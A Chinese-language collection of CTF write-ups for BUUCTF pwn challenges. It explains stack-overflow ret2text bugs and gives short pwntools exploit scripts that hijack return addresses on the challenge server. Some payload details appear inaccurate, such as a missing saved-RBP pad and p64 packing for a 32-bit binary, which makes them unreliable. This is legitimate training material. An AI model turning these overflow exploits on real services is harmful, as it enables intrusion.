BUUCTF-Pwn WP合集
注意事项:
拿到题目首先用checksec工具查看程序受保护情况,并观察程序是32位还是64位的,再决定使用IDA32位还是IDA64位反编译。
test_your_nc
题目类型:无
首先使用IDA反编译源程序,发现程序的作用是直接打开shell。故直接通过nc连接,ls查看当前目录下文件,发现flag文件,cat读取即可。
rip
题目类型:栈溢出,ret2text
首先使用IDA反编译源程序,发现程序的作用是输入一段字符串,程序分配栈空间大小为0xF字节,使用gets函数读取输入内容,且未限制输入长度,存在栈溢出,此时输入0xF字节的内容后,再输入的内容将覆盖函数返回地址,由于fun函数的作用是打开shell,所以此处输入fun函数的地址即可,完整exp如下:
from pwn import * context.log_level = 'debug' #r = process('./pwn1') r = remote('node3.buuoj.cn' , 29590) #r.recvline() payload = 'a' * 0xf + p64(0x401186) r.sendline(payload) r.interactive()
另有一种payload='a'*23+p64(0x401198)+p64(0x401186),原理在于额外覆盖了8字节内容,将main函数栈顶覆盖了,所以要再加上一段endp的地址来恢复。
warmup_csaw_2016
题目类型:栈溢出,ret2text
首先使用IDA反编译源程序,发现程序会读取0x40字节大小的字符串,因为gets函数读取输入内容,且未限制输入长度,存在栈溢出,所以先填满栈后,再额外输入8字节内容覆盖返回地址,最后输入sub_40060D函数的地址,完整exp如下:
from pwn import * context.log_level = 'debug' #r = process('./warmup_csaw_2016') r = remote('node3.buuoj.cn' , 27208) #r.recvline() payload = 'a' * (0x40+8) + p64(0x40060d) r.sendline(payload) r.interactive()
pwn1_sctf_2016
题目类型:栈溢出,ret2text
首先使用IDA反编译源程序,发现程序会读取32位字符串,由于vuln函数倒数第二行调用了strcpy函数,将“I”替换为了“you”,此时如果输入20个“I”,将会被替换为60位(即0x3c)长度的“you”,完全覆盖了一开始char s申请的0x3c大小的栈空间,造成溢出,此时后面再输入4位字符串覆盖EBP,以及get_flag函数的地址,即可使EIP指向该地址并运行,完整exp如下:
from pwn import * context.log_level = 'debug' #r = process('./pwn1_sctf_2016') r = remote('node3.buuoj.cn' , 27208) #r.recvline() payload = 'I' * 20 + 'A' * 4 + p64(0x08048f0d) r.sendline(payload) r.interactive()
ciscn_2019_n_1
题目类型:栈溢出,ret2text
首先使用IDA反编译源程序,发现程序会读取32位字符串,0x30大小的字符串,由于v1与v2两个参数在栈中相邻,所以在gets(&v1)后能通过栈溢出继续覆盖v2的值,只要使v2=11.28125即可读取flag,因此本题的关键是构造这个浮点数在内存中的十六进制表示,过程暂时省略,知道它的值是0x41348000即可,完整exp如下:
from pwn import * context.log_level = 'debug' #r = process('./ciscn_2019_n_1') r = remote('node3.buuoj.cn' , 27208) #r.recvline() payload = 'a' * (0x30 - 4) + p64(0x41348000) r.sendline(payload) r.interactive()